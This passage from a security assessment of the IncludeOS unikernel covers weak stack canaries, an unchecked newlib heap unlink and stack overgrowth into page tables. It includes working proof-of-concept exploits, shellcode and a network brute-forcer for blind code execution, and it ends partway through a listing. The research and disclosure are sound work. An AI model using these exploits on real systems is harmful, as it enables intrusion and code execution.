obtain a hex ASCII string. This value is then converted into the 8-byte stack guard value. This is further

worsened by the fact that rand() is used to obtain 64 bytes of data while seeded with only 4 bytes of

cryptographically-secure entropy.

6.6.3 Changes in Later Commits

In the commit we tested (39c29bb), the random hex string generated by CMake was 8 characters (i.e. 4

bytes) long, half the size of the 8-byte uintptr_t used to store it. This resulted in the upper 4 bytes being

null, which significantly reduced the entropy but made the canary resistant to up to 4 overflows in null-

terminating functions such as strcpy.

Just as we finished testing, a new commit (093c011) was pushed that increased the canary string length to 8

bytes. This increased the entropy, but left no guaranteed null bytes. This arguably makes the canary even

less secure, as fully-random canaries will contain no null bytes 97% of the time, which would allow them to

be read and written by null-terminating functions. Generally speaking, on 64-bit systems such as IncludeOS

— which can afford to sacrifice a byte of entropy — the most secure option is not a fully random canary, but

rather one with at least one null byte, with the other bytes being random. However, there is some debate

as to the whether or not the most immediate byte of the canary should be null. [Des] In particular, this

would allow strcpy-like functions to increase the length of strings preceding the canary all the way up to it,

increasing the length by at least one if located directly before the canary. On the other hand, if the null were

deeper within the canary, an off-by-one strncpy could be used to elongate a directly preceding string to

include — and leak — the first byte of the canary. Additionally, a strcpy could, with probability 1
256 , extend a

preceding string into the canary without triggering the canary. In either situation, a memcpy could be used,

across separate runs — with an identical canary — to leak the entire canary before writing it successfully.
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6.7 Heap Hardening

IncludeOS’s C standard library is implemented with newlib, which describes itself as ‘‘a conglomeration of

several library parts’’ that is ‘‘intended for use on embedded systems.’’ [Hat] Embedded code generally runs

on relatively limited hardware, and often has fewer security measures compared to code targetingmore full-

featured platforms. Indeed, this proves to be the case in IncludeOS; the heap quite literally lacks protections

of any kind and is trivially easy to abuse. A buffer overflow into a chunk header can be exploited to write

up to two pointers to arbitrary locations. An attacker with access to the source or binary can use this to gain

code execution, and even blind exploitation is possible if the victim’s application is set to restart on crash — or

is sufficiently load-balanced — which would allow the attacker to brute-force target addresses.

6.7.1 Heap Implementation

In IncludeOS, newlib’s free() function in newlib/libc/stdlib/malloc.c internally calls fREe() in newlib/li

bc/stdlib/mallocr.c, which implements the heap as a segregated freelist, with each bucket Bi containing

a doubly-linked list of chunks, all of size 2i bytes. (The full allocation algorithm, which is fairly complex, is
described in detail in mallocr.c.) Each allocated chunk is represented by a struct malloc_chunk, as follows.

1257 struct malloc_chunk {

1258 INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */

1259 INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

1260 struct malloc_chunk* fd; /* double links -- used only if free. */

1261 struct malloc_chunk* bk;

1262 };

1263 typedef struct malloc_chunk* mchunkptr;

Listing 57: newlib/libc/stdlib/mallocr.c (INTERNAL_SIZE_T is defined as size_t)

Each chunk stores its own size and the size of its predecessor. The pointers to the previous and next chunks

are only valid when the chunk is free: when allocated, the buffer returned to the caller of malloc()will begin

at the address of fd. Heap chunks do not have canaries.

To make matters worse, fREe() uses a vulnerable version of the unlink macro, with no pointer integrity

checks. This form of unlink has been known to be vulnerable since at least December 2004, when the 2.3.4

release of glibc added integrity checks to the macro to mitigate heap-overflow attacks.

1945 #define unlink(P, BK, FD) {

1946 BK = P->bk;

1947 FD = P->fd;

1948 FD->bk = BK;

1949 BK->fd = FD;

1950 }

Listing 58: The vulnerable unlinkmacro in newlib/stdlib/mallocr.c

prev_size
size
fd
bk

Free chunk 1
prev_size

size
fd
bk

Free chunk 2

fd
bk

Free chunk 3

size
prev_size

Figure 1: The operation of the unlinkmacro. Red links are removed; green links are added.
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This performs two assignments, effectively P->fd->bk = P->bk and P->bk->fd = P->fd, which can be used

to write an arbitrary value to an arbitrary location so long as the attacker can control P such that it points into

a fake malloc_chunk. Given newlib’s free() implementation, this is not only possible, but trivial.

fREe() is fairly long and has several branches, but its overall logic is intuitively simple. The values prev_size

and size are first read from the header of the chunk to be freed. Because of chunk alignment, the last few

bytes in each size are never relevant to the actual size value, so they are used to store flags; among them

is PREV_INUSE (0x1), which is set on size if the previous chunk is in use. The flags are used to determine

whether or not the previous and/or next chunk are free; if so, they will be unlinked via the aforementioned

vulnerable macro and merged with the current chunk. The full code (minus some irrelevant preprocessor

conditional branches) is provided below.

void fREe(RARG Void_t* mem) {

mchunkptr p; /* chunk corresponding to mem */

INTERNAL_SIZE_T hd; /* its head field */

INTERNAL_SIZE_T sz; /* its size */

int idx; /* its bin index */

mchunkptr next; /* next contiguous chunk */

INTERNAL_SIZE_T nextsz; /* its size */

INTERNAL_SIZE_T prevsz; /* size of previous contiguous chunk */

mchunkptr bck; /* misc temp for linking */

mchunkptr fwd; /* misc temp for linking */

int islr; /* track whether merging with last_remainder */

if (mem == 0) /* free(0) has no effect */

return;

MALLOC_LOCK;

p = mem2chunk(mem);

hd = p->size;

check_inuse_chunk(p);

sz = hd & ~PREV_INUSE;

next = chunk_at_offset(p, sz);

nextsz = chunksize(next);

if (next == top) { /* merge with top */

sz += nextsz;

if (!(hd & PREV_INUSE)) /* consolidate backward */

{

prevsz = p->prev_size;

p = chunk_at_offset(p, -prevsz);

sz += prevsz;

unlink(p, bck, fwd); // VULNERABLE, but `top`

} // is neither known nor

// controllable, so this

set_head(p, sz | PREV_INUSE); // path can't reliably be

top = p; // made to execute.

if ((unsigned long)(sz) >= (unsigned long)trim_threshold)

malloc_trim(RCALL top_pad);
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MALLOC_UNLOCK;

return;

}

set_head(next, nextsz); /* clear inuse bit */

islr = 0;

if (!(hd & PREV_INUSE)) { /* consolidate backward */

prevsz = p->prev_size;

p = chunk_at_offset(p, -prevsz);

sz += prevsz;

if (p->fd == last_remainder) /* keep as last_remainder */

islr = 1;

else

unlink(p, bck, fwd); // VULNERABLE!

}

if (!(inuse_bit_at_offset(next, nextsz))) { /* consolidate forward */

sz += nextsz;

if (!islr && next->fd == last_remainder) { /* re-insert last_remainder */

islr = 1;

link_last_remainder(p);

} else

unlink(next, bck, fwd); // VULNERABLE!

}

set_head(p, sz | PREV_INUSE);

set_foot(p, sz);

if (!islr)

frontlink(p, sz, idx, bck, fwd);

MALLOC_UNLOCK;

}

Listing 59: newlib/stdlib/mallocr.c, abbreviated to remove irrelevant preprocessor conditional branches

Given the right header values, the above code can be induced to make up to three pointer pair writes, one

in each unlink. Our example exploit does not use the third unlink, as it is more complicated to exploit.

• The previous chunk’s location is calculated by subtracting prev_size from p, the base pointer of the chunk

being freed. If that chunk is free (i.e. the lowest bit in its size field is zero) then it will be unlinked and

merged.

• The next chunk’s location is then calculated by adding size to p, and it is merged if free.

Note that the main chunk being freed is freed in a different way, via the frontlink macro. This macro’s

function is similar to unlink, but it cannot be used to perform an arbitrary write, as the lvalue and rvalue in

the assignments it performs are not simultaneously controllable.

Below, we provide an example exploit that uses a heap buffer overflow to gain code execution, assuming

that the chunk size and panic handler address are known. Section 6.10.1 further develops this exploit to

work in cases where the attacker has no knowledge of the binary or source.
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6.7.2 Code Execution via Heap Buffer Overflow

The aforementioned twopairedwrites are sufficient to gain code execution. An attacker can craft an overflow

so that (a) the header of a chunk that will be later be freed is overwritten with a chunk that appears to be in

use (i.e. size & 0x1 == 1) and (b) two fake chunk headers are created before and after it that appear to be

free (i.e. size & 0x1 == 0). The approximate layout is shown below.

Chunk 1 hdr

Chunk 1 
body

Chunk 2 
body

Chunk 2 hdr

Chunk 1 hdr

...padding...

...shellcode...

New chunk 2 hdr

Fake prev chunk hdr

Fake next chunk hdr

write starting
from here

OVERFLOW!
&chunk2hdr + chunk2hdr.size 

&chunk2hdr - chunk2hdr.prev_size 

&chunk2hdr

jmp +HDR_SIZE
&chunk2 (stager shellcode returns to &fd)

Figure 2: The heap buffer overflow structure necessary to achieve code execution

Their fd and bk should be manipulated such that they perform two writes, as follows.

1. In the first unlink, overwrite the panic handler function pointer (see Section 6.5.6) with the address

of some known-writable area. unlink’s reciprocal write will not cause a page fault, as the value being

written is itself a writable address.

2. In the second unlink, write 8 bytes of shellcode at the aforementioned location. Here, the reciprocal

write will cause a page fault, as it tries to take the shellcode as an address, the value of which is too

high to have been mapped by IncludeOS during normal operation (as it typically allocates pages

contiguously starting from 0x0).

3. When the page fault occurs, the OS will panic and call the panic handler — which is now the above

shellcode! The shellcode simply needs to add a small offset to the stack pointer so that it points to

the buffer address passed to free() (which is still on the stack at this point) and call ret, which start

executing the buffer.

4. One further issue remains: as mentioned in Section 6.7.1, the buffer begins at the address of the

chunk’s fd pointer (which, along with bk, is only valid when the chunk is free).

prev_size
size
fd
bk

Free chunk
prev_size

size
fd
bk

Allocated chunk

buffer
...

size & 0x1 == 1size & 0x1 == 0
fd, bk used
as buffer space

panic handler
shellcode returns
to here

Figure 3: Differences in free and allocated chunk behavior
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fd and bk are dereferenced early on in free(), so in order to avoid a premature page fault they must point

to writable locations. However, they must also be valid shellcode, as execution begins at them as well — 8

bytes of shellcode is not sufficient to advance the buffer pointer beyond them before calling ret.

For purposes of alignment, the very first 8 bytes in the .text section of any IncludeOS binary will be a special

8-byte nop instruction (0f 1f 84 00 00 00 00 00). Conveniently, taken as a pointer, it also happens to be

a writable address, since all memory space is writable and its value is low enough that IncludeOS always

maps that area. The fd and bk pointers of the chunk to be freed may be set to this value, and shellcode

can be positioned directly after that chunk header. Listed next are the sample program, the Python script

exploiting it, a NASM-formatted shellcode payload, and the program output when exploited. The panic

handler address (0xbfe800) was found using gdb.

1 #include <service>

2 #include <cstdio>

3 #include <cstdlib>

4 #include <kernel/os.hpp>

5

6 std::string hex_to_string(const std::string& input) { //https://stackoverflow.com/questions/3381614

7 static const char* const lut = "0123456789ABCDEF";

8 size_t len = input.length();

9 if (len & 1) throw std::runtime_error("odd length");

10 std::string output; output.reserve(len / 2);

11 for (size_t i = 0; i < len; i += 2) {

12 char a = toupper(input[i]);

13 const char* p = std::lower_bound(lut, lut + 16, a);

14 if (*p != a) throw std::runtime_error("invalid char");

15 char b = toupper(input[i + 1]);

16 const char* q = std::lower_bound(lut, lut + 16, b);

17 if (*q != b) throw std::runtime_error("invalid char");

18 output.push_back(((p - lut) << 4) | (q - lut));

19 }

20 return output;

21 }

22 void on_panic() {

23 puts("*** PANIC HANDLER CALLED ***");

24 }

25

26 void Service::start(const std::string& args) {

27 void *buf1 = malloc(0x40), *buf2 = malloc(0x40);

28 OS::on_panic(on_panic);

29 printf("%p\n", OS::on_panic);

30

31 size_t start = args.find(' '); // Get rid of the program name (first arg)

32 std::string args_ascii_hex = args.substr(start+1, args.size() - start - 1);

33 std::string hex = hex_to_string(args_ascii_hex);

34 printf("buf1 @ %p\n", buf1);

35 printf("buf2 @ %p\n", buf2);

36 memcpy((char*)buf1, hex.c_str(), hex.size());

37 printf("buf1: %s\n", buf1);

38 printf("buf2: %s\n", buf2);

39 free(buf1); free(buf2);

40 }

Listing 60: unikernel-tests/includeos/src/4-heap-2-rce/service.cpp
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1 #!/usr/bin/env python

2 import sys, binascii, struct

3

4 def lestr(x, fmt):

5 return struct.pack('<' + fmt, x).encode('hex')

6

7 def lestr2(x):

8 return lestr(x, 'H')

9

10 def lestr4(x):

11 return lestr(x, 'I')

12

13 def lestr8(x):

14 return lestr(x, 'Q')

15

16 class Chunk:

17 def __init__(self, size, prev_size, fd, bk):

18 self.size = size

19 self.prev_size = prev_size

20 self.fd = fd

21 self.bk = bk

22 def __str__(self):

23 ret = lestr8(self.size)

24 ret += lestr8(self.prev_size)

25 ret += lestr8(self.fd)

26 ret += lestr8(self.bk)

27 return ret

28

29 EARLY_WRITABLE_TEXT_ADDR = 0xa00260

30 EXEC_STUB_SHELLCODE = 0xc300000088c48148 # rasm2 -a x86 -b 64 'add rsp, 0x88; ret;'

31 BUFSTART_STUB_SHELLCODE = 0x2eeb # jmp 0x30

32 HDRSIZE = len(str(Chunk(0,0,0,0)))/2

33 EIGHT_BYTE_NOP = 0x0000000000841f0f # see <deregister_tm_clones-0x8> in objdump

34

35 if __name__ == '__main__':

36 if len(sys.argv) != 4:

37 print 'Usage: 4-heap-2-rce.py <chunk1_size> <panic_handler_addr> <payload>'

38 print ' The first two args should be in base 16, the latter should be an'

39 print ' ASCII string representing instructions in hex.'

40 chunk1_size = int(sys.argv[1], 16)

41 panic_handler_addr = int(sys.argv[2], 16)

42 payload = sys.argv[3]

43

44 # free() appears to always consolidate forwards. We need to give this

45 # chunk1 header/footer a valid set of values so unlink doesn't crash.

46 chunk2_hdr = Chunk(0x20, 0x28, EIGHT_BYTE_NOP, EIGHT_BYTE_NOP)

47 fake_prev_chunk_hdr = Chunk(0x0, 0x0,

48 panic_handler_addr - 0x18,

49 EARLY_WRITABLE_TEXT_ADDR)

50 fake_next_chunk_hdr = Chunk(0x0, 0x0,

51 EARLY_WRITABLE_TEXT_ADDR - 0x18,

52 EXEC_STUB_SHELLCODE)

53
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54 atk_str = 'AA'*(chunk1_size - HDRSIZE) # Pad to end of chunk 1

55 atk_str += str(fake_prev_chunk_hdr) # Fake prev chunk header

56 atk_str += str(chunk2_hdr) # Fake chunk2 header

57 atk_str += 'eb26' + 'BB'*6 # Instruction to jump over next header (execution starts from here)

58 # Plus some padding to 8 bytes

59 atk_str += str(fake_next_chunk_hdr) # Fake next chunk header

60 atk_str += payload

61

62 print atk_str

Listing 61: unikernel-tests/includeos/exploits/4-heap-2-rce.py

1 sub rsp,0x90 ; Repair the stack

2

3 ; Write 'H3110 W0R1D\0' at some known addr

4 mov rdi,0xa00300

5 mov [rdi], dword 0x31313348 ; H311

6 mov [rdi+0x4], dword 0x30572030 ; 0 W0

7 mov [rdi+0x8], dword 0x00443152 ; R1D\0

8

9 ; Call puts with the above string, then return

10 ; This address may be slightly shifted on different binaries

11 mov rax,0xa723f0

12 call rax

13 ret

Listing 62: Shellcode payload targeting unikernel-tests/includeos/src/4-heap-2-rce/service.cpp

buf1 @ 0x10d6230

buf2 @ 0x10d6280

buf1: /* omitted invalid UTF8 chars */

buf2: /* omitted invalid UTF8 chars */

/* omitted register information */

>>>> !!! CPU 0 EXCEPTION !!! <<<<

General Protection Fault (13) EIP 0xa00260

Error code: 0xbfe7e8

**** CPU 0 PANIC: ****

General Protection Fault (13)

Heap is at: 0x10d7000 / 0x7fdffff (diff=116428799)

Heap usage: 7 / 113707 Kb

[0] 0x0000000000a00ca0 + 0x0ea: panic

[1] 0x0000000000ae5cc0 + 0x088: void cpu_exception<13>(void**, unsigned int)

H3110 W0R1D

[ VM_PANIC ] General Protection Fault (13)

Listing 63: Output of unikernel-tests/includeos/src/4-heap-2-rce/service.cpp when exploited
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6.7.3 Page Table Corruption via Stack Overgrowth

Initial memory setup is performed in src/arch/x86_64/arch_start.asm. The locations of the stack and each

level of the page table are hardcoded, and are defined as follows.

22 %define PAGE_SIZE 0x1000

23 %define P4_TAB 0x1000

24 %define P3_TAB 0x2000 ;; - 0x5000

25 %define P2_TAB 0x100000

26 %define STACK_LOCATION 0xA00000

Listing 64: src/arch/x86_64/arch_start.asm

Given that the stack grows down (i.e. toward lower addresses), the addresses above suggest that if the

stack were to grow large enough, it would begin to overflow into the level-2 page table. In practice, this is

precisely what occurs. The L2 page table is 0x4000 bytes long, extending from 0x100000 to 0x103ff8. There

is no (non-accessible) guard page between the stack and the page table to prevent the former from writing

into the latter.

This exploit is displayed in the proof-of-concept below. The page fault that ultimately occurs is not the result

of memory protection on the page table, but rather corruption of the page table entries for pages that are

later accessed by the application.

1 #include <service>

2 #include <cstdio>

3 #include <cstdlib>

4

5 #define BUF_SIZE 0x800

6 void recurse(int i) {

7 char buf[BUF_SIZE] = {0};

8 memset(&buf, 'B', BUF_SIZE);

9

10 printf("Iteration #%d: stack frame spans approx. %p - %p\n", i, &buf, (&buf + BUF_SIZE));

11 printf("Last PTE: %p\n", *(void volatile* volatile*)0x103ff8);

12

13 recurse(i+1);

14 }

15

16 extern uintptr_t heap_begin;

17 void Service::start(const std::string& args) {

18 printf("heap_begin: %p\n", (void*)heap_begin);

19 recurse(0);

20 }

Listing 65: unikernel-tests/includeos/src/5-misc-3-stack-clash/service.cpp

heap_begin: 0xe83e00

Iteration #0: stack frame spans approx. 0x9ff220 - 0xdff220

Last PTE: 0xffe00083

Iteration #1: stack frame spans approx. 0x9fe9f0 - 0xdfe9f0

Last PTE: 0xffe00083

Iteration #2: stack frame spans approx. 0x9fe1c0 - 0xdfe1c0

Last PTE: 0xffe00083

Iteration #3: stack frame spans approx. 0x9fd990 - 0xdfd990

Last PTE: 0xffe00083
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/* many

* iterations

* omitted

*/

Iteration #4487: stack frame spans approx. 0x1070d0 - 0x5070d0

Last PTE: 0xffe00083

Iteration #4488: stack frame spans approx. 0x1068a0 - 0x5068a0

Last PTE: 0x103d00

Iteration #4489: stack frame spans approx. 0x106070 - 0x506070

Last PTE: 0x103d00

Iteration #4490: stack frame spans approx. 0x105840 - 0x505840

Last PTE: 0x103d00

Iteration #4491: stack frame spans approx. 0x105010 - 0x505010

Last PTE: 0x103d00

Iteration #4492: stack frame spans approx. 0x1047e0 - 0x5047e0

Last PTE: 0x103d00

Iteration #4493: stack frame spans approx. 0x103fb0 - 0x503fb0

Last PTE: 0x4242424242424242

Iteration #4494: stack frame spans approx. 0x103780 - 0x503780

Last PTE: 0x4242424242424242

Iteration #4495: stack frame spans approx. 0x102f50 - 0x502f50

Last PTE: 0x4242424242424242

Iteration #4496: stack frame spans approx. 0x102720 - 0x502720

/* omitted register information */

>>>> !!! CPU 0 EXCEPTION !!! <<<<

Page Fault (14) EIP 0x10000f

Error code: 0xe83f28

**** CPU 0 PANIC: ****

Page Fault (14)

Listing 66: Output of unikernel-tests/includeos/src/5-misc-3-stack-clash/service.cpp

6.8 Entropy and Random Number Generation

IncludeOS provides applications access to a cryptographic random number generator via the traditional /

dev/random and /dev/urandom file paths. This is implemented by comparing all file path strings passed to

IncludeOS’ open(2) implementation against "/dev/random" and "/dev/urandom". Should the path match

one of these two strings, a special file descriptor will be returned for which reads and writes will be directed

to IncludeOS’ cryptographic randomnumber generator. In the version of IncludeOS originally assessed, this

special file descriptor had a hardcoded value of 998, and file descriptors unconditionally counted upwards

from 3. [Inck, Incf] This would result in a behavior where it was possible that, after creating enough file

descriptors, a newly opened file would have its reads and writes mapped to the random number generator

instead. The behavior, as of commit c2cb5d3, is such that the random number generator file descriptor is

hardcoded to a value of 4 and the file descriptor counter begins at 5. [Incl, Incg] However, the new file

descriptor counter still increments unconditionally, eventually resulting in a signed 32-bit integer overflow

given enough generated file descriptors which will eventually overflow again back to 0, and 4 — the random

number generator. The initial overflowmay also simply result in a temporary denial of service or intermittent

”failure” to open files for POSIX compliant application that checks for negative or -1 return values, respec-

tively, from open(2).

68 | Assessing Unikernel Security NCC Group

https://github.com/includeos/IncludeOS/commit/c2cb5d304ce8c2edb8989281b18e7ce7d9032568


IncludeOS sources all of its entropy directly from the RDRAND instruction when available, falling back on the

CPU cycle count via inlined assembly for rdtsc on x86_64. [Inch, Inca] RDRAND is intended for direct use as a

CSPRNGby kernel and userland code as it is available ”at all privilege levels.” [(Inb] In both cases, 32 bytes of

data are initially obtained during init and fed into the randomnumber generator via the rng_absorb function.

There are no other guaranteed callers to rng_absorb, but it is used to enable submission of entropy via writes

to /dev/random and /dev/urandom, and,more recently, OpenSSL’s APIs. [Inci] AsmostmodernCPUswill have

RDRAND, the use of cycle counts as a fallback is unlikely to cause major problems; however, it is worth noting

that the use of this fallback will yield highly predictable initial inputs into the random number generator due

to the determinism in early IncludeOS initialization. Per Intel’s documentation, RDRAND is not preferred for

seeding the entropy of other CSPRNG implementations; instead, the RDSEED instruction exists for this task:

[(Ina]

The numbers returned by RDSEED havemultiplicative prediction resistance. If you use two 64-bit

samples with multiplicative prediction resistance to build a 128-bit value, you end up with a

random number with 128 bits of prediction resistance (2128 * 2128 = 2256). Combine two of those

128-bit values together, and you get a 256-bit number with 256 bits of prediction resistance.

You can continue in this fashion to build a random value of arbitrary width and the prediction

resistance will always scale with it. Because its values have multiplicative prediction resistance

RDSEED is intended for seeding other PRNGs.

In contrast, RDRAND is the output of a 128-bit PRNG that is compliant to NIST SP 800-90A. It is

intended for applications that simply need high-quality random numbers. The numbers returned

by RDRAND have additive prediction resistance because they are the output of a pseudorandom

number generator. If you put two 64-bit values with additive prediction resistance together,

the prediction resistance of the resulting value is only 65 bits (264 + 264 = 265). To ensure that

RDRAND values are fully prediction-resistant when combined together to build larger values

you can follow the procedures in the DRNG Software Implementation Guide on generating seed

values from RDRAND, but it’s generally best and simplest to just use RDSEED for PRNG seeding.6

The RNG file descriptor implements reads using rng_extract, a thin wrapper around SHAKE128 using the

Keccak-f[1600] permutation. This implementation ensures that, for each hash iteration, no more than the

SHAKE128 rate in bytes (168) are extracted. Currently, the implementation does not pool the hash output

for subsequent reads, but instead rehashes upon each read. As a result, for reads under the length of the

SHAKE128 rate — and towards and below the length of the SHAKE256 rate (136 bytes) — the construction will

be akin to SHAKE256.

As mentioned later in Section 10.2 on page 95, during our assessment of IncludeOS’ remediations, we

observed that the default method of booting IncludeOS unikernels — with the IncludeOS boot (vmrunner)

utility that wraps qemu-system-x86_64 — does not enable the RDRAND feature in the guest VM. In particular,

this wrapper does not configure the qemu -cpu option, resulting in the default qemu64 CPU, which does not

provide RDRAND, being selected. This results in only the CPU cycle count being used to seed random number

generation. It is currently unclear why the Rumprun RNG was observed to be visibly deterministic while the

IncludeOS RNG was not, even though they both used the CPU cycle count as their initial source of entropy.

Regardless, this serves as a useful example of otherwise ”correct” code being rendered unsafe due to the

highly variable nature of virtualized hardware.

6Quoted with spelling corrections applied.
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6.9 Standard Library Hardening

IncludeOS implements the C standard library via newlib, which appears lack hardening of any kind. It does

not support registering custom format specifiers.

6.9.1 The %n Format Specifier

newlib supports the %n specifier, meaning that attacker-controllable format strings can be exploited to write

arbitrary data.

6.9.2 Custom Format Specifiers

newlib does not support registering custom format specifiers.

6.9.3 The _FORTIFY_SOURCEMacro

newlib does not support the _FORTIFY_SOURCEmacro.

6.10 Additional Payloads

6.10.1 Blind Code Execution via Panic Handler Overwrite

The heap buffer overflow exploit presented in Section 6.7.2 assumes that the attacker knows the panic

handler address (which can be found via the source or binary). In fact, this is not even a necessity; if the

target server restarts upon crashing, it is possible to brute-force the panic handler. The last write in the heap

exploit always causes a panic, in which case either the system crashes and restarts (when the address that

the attacker guessed is wrong), or it crashes and invokes the attacker’s shell code (when the address is right).

Below is a vulnerable TCP echo client, which attempts to connect to the given address and port, reads one

packet, and stores the contents in a too-small buffer; its panic handler calls OS::restart(). A Python script,

bruteforcer.py, acts as the server, automatically determining the buffer size and panic handler location;

details of the method are annotated alongside the source code. The exploit code generation is found in

a separate file, exploitgenerator.py, which is largely based on the aforementioned heap buffer overflow

exploit. Sample output of the client, when exploited, is provided.

1 #include <os>

2 #include <net/inet4>

3 #include <kernel/os.hpp>

4

5 #define BUFFER1_SIZE 0x98

6 #define BUFFER2_SIZE 0x40

7

8 void connectTo(net::ip4::Addr addr, int port);

9 void startClient(const std::string& args);

10

11 void on_panic() {

12 puts("Panicked! Rebooting...");

13 OS::reboot();

14 }

15

16 void Service::start(const std::string& args) {

17 OS::on_panic(on_panic); // Restart on panic

18 printf("on_panic: %p\n", (void*)&on_panic);

19

20 // Get an IP address via DHCP

21 printf("*** Waiting up to 5 sec. for DHCP... ***\n");

22 net::Inet4::ifconfig(5.0, [=](bool timeout) {
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23 if (timeout) {

24 printf("*** Falling back to static network config ***\n");

25 net::Inet4::stack().network_config(

26 { 10,0,0,10 }, // IP

27 { 255,255,255,0 }, // Netmask

28 { 10,0,0,1 }, // Gateway

29 { 8,8,4,4 }); // DNS

30 }

31 startClient(args);

32 });

33 }

34

35 void startClient(const std::string& args) {

36 size_t firstSpacePos = args.find(' ');

37 size_t secondSpacePos = args.find(' ', firstSpacePos+1);

38 const static std::string remoteAddr = args.substr(firstSpacePos+1, secondSpacePos-firstSpacePos-1);

39 const static std::string remotePort = args.substr(secondSpacePos+1, args.size()-secondSpacePos-1);

40

41 printf("Connecting to %s:%s...\n", remoteAddr.c_str(), remotePort.c_str());

42 connectTo(remoteAddr, std::stoi(remotePort));

43 }

44

45 void connectTo(net::ip4::Addr addr, int port) {

46 auto& inet = net::Inet4::stack<0>();

47 net::Socket remote(net::ip4::Addr(addr), port);

48

49 auto connectionCallback = [=](net::tcp::Connection_ptr conn) {

50 printf("Connected!\n");

51 conn->on_read(1024, [=](net::tcp::buffer_t buffer, size_t n) {

52 void* buf1 = malloc(BUFFER1_SIZE);

53 void* buf2 = malloc(BUFFER2_SIZE);

54

55 memcpy(buf1, buffer.get(), n); // OVERFLOW!!!

56

57 printf("buf1 @ %p: %d\n", buf1, strlen((char*)buf1));

58 printf("buf2 @ %p: %d\n", buf2, strlen((char*)buf2));

59

60 free(buf1);

61 free(buf2);

62

63 conn->write("OK!");

64 conn->close();

65

66 // Reconnect automatically

67 connectTo(addr, port);

68 });

69 conn->on_close([=]() {

70 connectTo(addr, port);

71 });

72 };

73 inet.tcp().connect(remote, connectionCallback);

74 }

Listing 67: unikernel-tests/includeos/src/4-heap-3-brute-force/service.cpp
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1 #! /usr/bin/env python

2

3 import select

4 import socket

5 import sys

6 import os

7 from exploitgenerator import generate_exploit

8

9 HOST = '10.0.0.1' if (len(sys.argv) < 2) else sys.argv[1]

10 PORT = 8080 if (len(sys.argv) < 3) else int(sys.argv[2])

11

12 X_MARK = u'\u2718'

13 CHK_MARK = u'\u2714'

14

15 # Perform a binary(ish) search to find the largest chunk size that does not crash

16 def get_chunk_size(sock):

17 chunk_size_guess = 1

18 max_ok = 1

19 min_crashed = 0xFFFFFFFFFFFFFFFF

20 increment = 1

21

22 # Search by increasing gussed size by `increment`, doubling `increment` each time

23 # On server crash, revert the last increment to size and reset `increment` to 1

24 print 'Size\tMax OK\tMin crash\tResult\tIncrement'

25 while max_ok != min_crashed - 1:

26 while True:

27 print hex(chunk_size_guess), '\t', hex(max_ok), '\t', hex(min_crashed),

28 try:

29 # Try a range of characters as our attack string. When we just begin

30 # to overflow into the buffer, some of these may cause a crash, while

31 # others may not. If any do, consider the guessed size too big.

32 for char in ['\x01', '\x02', '\x88', '\x89', '\xfe', '\xff']:

33 connection, client_address = sock.accept()

34 atk_str = char * chunk_size_guess

35 connection.sendall(atk_str)

36 response = connection.recv(0x20) # Server will send back 'OK!'

37 if response == '':

38 raise Exception('Server crashed')

39 max_ok = max(chunk_size_guess, max_ok)

40 chunk_size_guess += increment

41 print '\t\t', CHK_MARK, '\t', '+' + hex(increment)

42 increment *= 2

43 except Exception as e:

44 min_crashed = min(chunk_size_guess, min_crashed)

45 chunk_size_guess -= increment/2

46 print '\t\t', X_MARK, '\t', '-' + hex(increment/2)

47 increment = 1

48 break

49 finally:

50 connection.close()

51

52 # The 0x8 offset is an empirically-determined constant

53 return max_ok - 0x8
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54

55 def do_exploit(sock, chunk_size, ph_addr_initial_guess):

56 ph_addr_guess = ph_addr_initial_guess

57

58 print 'Address\t\tResult'

59 while True:

60 connection, client_address = sock.accept()

61

62 atk_str = generate_exploit(chunk_size, ph_addr_guess)

63

64 # Pass the attack string, then check to see if the server is responding

65 # again after 5 seconds. If so, it has crashed and restarted. If not,

66 # our exploit is running.

67 try:

68 connection.sendall(atk_str)

69 sock.setblocking(0)

70 ready = select.select([sock], [], [], 5.0)

71 if ready[0] == []:

72 print hex(ph_addr_guess), '\t', CHK_MARK

73 break

74 print hex(ph_addr_guess), '\t', X_MARK

75 ph_addr_guess += 0x8

76 finally:

77 connection.close()

78

79 return ph_addr_guess

80

81 def listen(port):

82 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

83 sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

84 server_address = (HOST, port)

85 print 'Starting up on %s port %s' % server_address

86 sock.bind(server_address)

87 sock.listen(1)

88

89 print 'Finding the distance to the next chunk header...'

90 chunk_size = get_chunk_size(sock)

91 print '\nDistance to the next chunk header:', hex(chunk_size)

92

93 print 'Brute-forcing the panic handler address...'

94 ph_addr = do_exploit(sock, chunk_size, 0xc54ba0)

95 print '\nPanic handler address: ', hex(ph_addr)

96

97

98 if __name__ == '__main__':

99 listen(PORT)

Listing 68: unikernel-tests/includeos/src/4-heap-3-brute-force/bruteforcer.py
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1 import sys, os, binascii, struct

2

3 SHELLCODE = [ 0x48, 0x8d, 0x1d, 0xff, 0xff, 0xff, 0xff, 0xeb, 0x0e, 0x48, 0x65, 0x6c, 0x6c, 0x6f,

4 0x2c, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64, 0x21, 0x0a, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x89,

5 0xdf, 0x48, 0x83, 0xc7, 0x03, 0x48, 0x31, 0xc9, 0x88, 0x4f, 0x0e, 0x48, 0x31, 0xc0, 0xba, 0xff,

6 0xba, 0xb0, 0xff, 0xc1, 0xe2, 0x08, 0xc1, 0xea, 0x10, 0xc1, 0xe2, 0x08, 0xff, 0xd2, 0x0f, 0x0b ]

7

8 # Little-endian string util functions

9 def lestr(x, fmt):

10 return struct.pack('<' + fmt, x).encode('hex')

11 def lestr8(x):

12 return lestr(x, 'Q')

13

14 class Chunk:

15 def __init__(self, size, prev_size, fd, bk):

16 self.size = size

17 self.prev_size = prev_size

18 self.fd = fd

19 self.bk = bk

20 def __str__(self):

21 ret = lestr8(self.size)

22 ret += lestr8(self.prev_size)

23 ret += lestr8(self.fd)

24 ret += lestr8(self.bk)

25 return ret

26

27 EARLY_WRITABLE_TEXT_ADDR = 0xa00300 # Write our 8-byte shellcode stub here

28 EXEC_STUB_SHELLCODE = 0xc300000088c48148 # rasm2 -a x86 -b 64 'add rsp, 0x88; ret;'

29 BUFSTART_STUB_SHELLCODE = 0x2eeb # jmp 0x30

30 HDRSIZE = len(str(Chunk(0,0,0,0)))/2 # Header size (fd and bk are not used)

